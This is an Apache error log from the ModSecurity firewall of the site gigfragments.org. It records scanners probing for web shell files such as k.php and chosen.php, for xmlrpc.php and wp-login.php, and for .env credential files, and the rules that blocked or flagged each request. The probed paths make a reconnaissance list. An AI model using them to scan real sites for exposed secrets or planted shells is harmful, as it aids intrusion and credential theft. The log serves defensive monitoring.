[Sun Apr 19 06:34:26.640602 2026] [:error] [pid 47773:tid 47822] [client 20.215.64.52:13723] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeQG8uiBHdnCJDuPq9B2HAAAAEY"]
[Sun Apr 19 06:34:30.894490 2026] [:error] [pid 47773:tid 47821] [client 20.215.64.52:64486] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeQG9uiBHdnCJDuPq9B2LgAAAEU"]
[Sun Apr 19 06:34:56.003290 2026] [:error] [pid 15765:tid 15865] [client 20.215.64.52:33137] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeQHEPRqinw-W5EwQ76QowAAAow"]
[Sun Apr 19 06:35:02.161532 2026] [:error] [pid 15694:tid 15730] [client 20.215.64.52:33614] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeQHFrimB-jol1fwqArBNQAAAYQ"]
[Sun Apr 19 06:35:07.245268 2026] [:error] [pid 47772:tid 47799] [client 20.215.64.52:13753] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeQHG4c0L16cb4smAz-5VgAAAAo"]
[Sun Apr 19 06:35:10.657142 2026] [:error] [pid 47772:tid 47795] [client 20.215.64.52:13719] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeQHHoc0L16cb4smAz-5WgAAAAY"]
[Sun Apr 19 06:35:13.052799 2026] [:error] [pid 47772:tid 47797] [client 20.215.64.52:44172] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeQHIYc0L16cb4smAz-5XAAAAAg"]
[Sun Apr 19 06:35:15.747822 2026] [:error] [pid 47773:tid 47839] [client 20.215.64.52:33645] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeQHI-iBHdnCJDuPq9B2YgAAAFc"]
[Sun Apr 19 06:35:17.658297 2026] [:error] [pid 47773:tid 47823] [client 20.215.64.52:33124] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeQHJeiBHdnCJDuPq9B2aAAAAEc"]
[Sun Apr 19 06:35:23.320943 2026] [:error] [pid 47773:tid 47839] [client 20.215.64.52:33125] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeQHK-iBHdnCJDuPq9B2bAAAAFc"]
[Sun Apr 19 06:35:26.000892 2026] [:error] [pid 47773:tid 47822] [client 20.215.64.52:33100] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeQHLuiBHdnCJDuPq9B2bgAAAEY"]
[Sun Apr 19 06:35:27.592945 2026] [:error] [pid 15763:tid 15819] [client 20.215.64.52:33610] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeQHL7MXv1Y1THOoxaAsngAAAhc"]
[Sun Apr 19 06:35:30.119970 2026] [:error] [pid 47772:tid 47806] [client 20.215.64.52:44208] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeQHMoc0L16cb4smAz-5kwAAABE"]
[Sun Apr 19 06:35:31.800857 2026] [:error] [pid 47773:tid 47836] [client 20.215.64.52:13818] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeQHM-iBHdnCJDuPq9B2gAAAAFQ"]
[Sun Apr 19 06:35:34.666299 2026] [:error] [pid 15694:tid 15749] [client 20.215.64.52:13770] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeQHNrimB-jol1fwqArBSQAAAZc"]
[Sun Apr 19 06:35:35.716382 2026] [:error] [pid 15763:tid 15803] [client 20.215.64.52:13749] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeQHN7MXv1Y1THOoxaAsogAAAgc"]
[Sun Apr 19 06:35:39.831630 2026] [:error] [pid 47775:tid 47866] [client 20.215.64.52:13721] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeQHO7mztjlk9tsmoeyDiwAAAJc"]
[Sun Apr 19 06:35:42.755734 2026] [:error] [pid 47775:tid 47849] [client 20.215.64.52:33611] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeQHPrmztjlk9tsmoeyDjwAAAIY"]
[Sun Apr 19 06:35:47.795216 2026] [:error] [pid 47773:tid 47828] [client 20.215.64.52:13784] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeQHQ-iBHdnCJDuPq9B2qwAAAEw"]
[Sun Apr 19 06:35:51.486053 2026] [:error] [pid 15764:tid 15845] [client 20.215.64.52:53148] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeQHR2LL_sqdSHoVp-T2HwAAAlM"]
[Sun Apr 19 06:36:19.425713 2026] [:error] [pid 15760:tid 15776] [client 20.215.64.52:44205] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeQHY_SdD_XHQMJ_ISshIQAAAcg"]
[Sun Apr 19 06:36:21.075415 2026] [:error] [pid 47886:tid 47890] [client 20.215.64.52:13734] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeQHZUSe8yiyuPrD7yP8yQAAAMI"]
[Sun Apr 19 06:36:22.099539 2026] [:error] [pid 47886:tid 47909] [client 20.215.64.52:13803] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeQHZkSe8yiyuPrD7yP8zgAAANU"]
[Sun Apr 19 06:36:24.805685 2026] [:error] [pid 47886:tid 47900] [client 20.215.64.52:33660] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aeQHaESe8yiyuPrD7yP80QAAAMw"]
[Sun Apr 19 06:38:14.015819 2026] [:error] [pid 47772:tid 47807] [client 35.201.138.245:40765] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQH1oc0L16cb4smAz-6kwAAABI"]
[Sun Apr 19 06:58:47.239725 2026] [:error] [pid 47773:tid 47831] [client 103.177.249.114:45806] [client 103.177.249.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.177.249.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQMp-iBHdnCJDuPq9CCOAAAAE8"]
[Sun Apr 19 07:00:14.847653 2026] [:error] [pid 47772:tid 47798] [client 74.7.229.118:44006] [client 74.7.229.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.229.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQM_oc0L16cb4smAz_CfAAAAAk"], referer: https://gigfragments.org/publications-and-outcomes/
[Sun Apr 19 07:31:02.310083 2026] [autoindex:error] [pid 47773:tid 47825] [client 74.7.242.60:38756] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/publications-and-outcomes/
[Sun Apr 19 07:31:04.831878 2026] [autoindex:error] [pid 47773:tid 47833] [client 74.7.242.60:38756] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/publications-and-outcomes/
[Sun Apr 19 08:03:30.373416 2026] [:error] [pid 15763:tid 15809] [client 5.134.122.237:40250] [client 5.134.122.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.134.122.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeQb0rMXv1Y1THOoxaA2fAAAAg0"]
[Sun Apr 19 08:03:32.282615 2026] [:error] [pid 15763:tid 15810] [client 5.134.122.237:40250] [client 5.134.122.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.134.122.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeQb1LMXv1Y1THOoxaA2fgAAAg4"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 08:04:40.926897 2026] [:error] [pid 47772:tid 47791] [client 34.53.26.168:51618] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aeQcGIc0L16cb4smAz_UKQAAAAI"]
[Sun Apr 19 08:05:06.826337 2026] [:error] [pid 15763:tid 15816] [client 34.53.26.168:44014] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development"] [unique_id "aeQcMrMXv1Y1THOoxaA2wwAAAhQ"]
[Sun Apr 19 08:05:26.670935 2026] [:error] [pid 47772:tid 47813] [client 34.53.26.168:57182] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.backup"] [unique_id "aeQcRoc0L16cb4smAz_UkgAAABg"]
[Sun Apr 19 08:05:46.156611 2026] [:error] [pid 15693:tid 15698] [client 34.53.26.168:58296] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.old"] [unique_id "aeQcWsNMD-ccazQlTskgHAAAAUI"]
[Sun Apr 19 08:06:10.057630 2026] [:error] [pid 47773:tid 47840] [client 34.53.26.168:57792] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/core/.env"] [unique_id "aeQccuiBHdnCJDuPq9CgvQAAAFg"]
[Sun Apr 19 08:06:28.765309 2026] [:error] [pid 47772:tid 47812] [client 34.53.26.168:45666] [client 34.53.26.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/backend/.env"] [unique_id "aeQchIc0L16cb4smAz_VBAAAABc"]
[Sun Apr 19 08:27:16.525399 2026] [:error] [pid 15763:tid 15799] [client 143.244.166.58:53972] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQhZLMXv1Y1THOoxaA6KwAAAgM"]
[Sun Apr 19 08:47:11.409935 2026] [:error] [pid 47773:tid 47818] [client 103.177.249.114:60078] [client 103.177.249.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.177.249.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmD-iBHdnCJDuPq9CuiwAAAEI"]
[Sun Apr 19 08:47:52.727792 2026] [:error] [pid 15763:tid 15799] [client 45.5.241.10:22913] [client 45.5.241.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.241.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmOLMXv1Y1THOoxaBAIQAAAgM"]
[Sun Apr 19 08:48:01.074430 2026] [:error] [pid 47773:tid 47832] [client 45.5.241.10:22276] [client 45.5.241.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.241.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmQeiBHdnCJDuPq9CuxwAAAFA"]
[Sun Apr 19 08:48:11.764102 2026] [:error] [pid 15764:tid 15833] [client 45.5.241.10:22790] [client 45.5.241.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.241.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmS2LL_sqdSHoVp-QXJAAAAkc"]
[Sun Apr 19 08:48:22.384189 2026] [:error] [pid 15763:tid 15816] [client 45.5.241.10:23241] [client 45.5.241.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.241.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmVrMXv1Y1THOoxaBARQAAAhQ"]
[Sun Apr 19 08:48:33.040655 2026] [:error] [pid 47772:tid 47810] [client 45.5.241.10:22252] [client 45.5.241.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.5.241.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQmYYc0L16cb4smAz_jxAAAABU"]
[Sun Apr 19 09:24:37.802100 2026] [:error] [pid 15764:tid 15848] [client 160.250.186.233:43252] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQu1WLL_sqdSHoVp-QgHAAAAlY"]
[Sun Apr 19 09:24:38.219819 2026] [:error] [pid 15764:tid 15848] [client 160.250.186.233:43252] [client 160.250.186.233] ModSecurity: Error reading request body: Partial results are valid but processing is incomplete [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQu1WLL_sqdSHoVp-QgHAAAAlY"]
[Sun Apr 19 09:30:28.000829 2026] [:error] [pid 47886:tid 47910] [client 47.244.90.157:51142] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQwM0Se8yiyuPrD7yMbmwAAANY"]
[Sun Apr 19 09:38:50.179503 2026] [:error] [pid 47773:tid 47826] [client 185.199.223.27:37646] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQyKuiBHdnCJDuPq9DAYgAAAEo"]
[Sun Apr 19 09:52:03.960796 2026] [:error] [pid 47775:tid 47852] [client 4.204.200.16:7959] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeQ1Q7mztjlk9tsmoeyskQAAAIk"]
[Sun Apr 19 09:52:07.938615 2026] [:error] [pid 15764:tid 15834] [client 4.204.200.16:7922] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeQ1R2LL_sqdSHoVp-QpXwAAAkg"]
[Sun Apr 19 09:52:09.454508 2026] [:error] [pid 15693:tid 15703] [client 4.204.200.16:7926] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeQ1ScNMD-ccazQlTskoAQAAAUc"]
[Sun Apr 19 09:52:10.964004 2026] [:error] [pid 15694:tid 15737] [client 4.204.200.16:7904] [client 4.204.200.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeQ1SrimB-jol1fwqArPrQAAAYs"]
[Sun Apr 19 10:43:54.194855 2026] [:error] [pid 15763:tid 15819] [client 34.83.30.45:37800] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aeRBarMXv1Y1THOoxaBpwgAAAhc"]
[Sun Apr 19 10:43:56.741933 2026] [:error] [pid 15693:tid 15707] [client 34.83.30.45:37802] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aeRBbMNMD-ccazQlTsksXwAAAUs"]
[Sun Apr 19 10:43:59.786624 2026] [:error] [pid 47773:tid 47821] [client 34.83.30.45:37808] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aeRBb-iBHdnCJDuPq9DP4wAAAEU"]
[Sun Apr 19 10:44:06.573970 2026] [:error] [pid 15694:tid 15738] [client 34.83.30.45:51492] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aeRBdrimB-jol1fwqArU4gAAAYw"]
[Sun Apr 19 10:44:22.666096 2026] [:error] [pid 47886:tid 47909] [client 34.83.30.45:38164] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aeRBhkSe8yiyuPrD7yMm6AAAANU"]
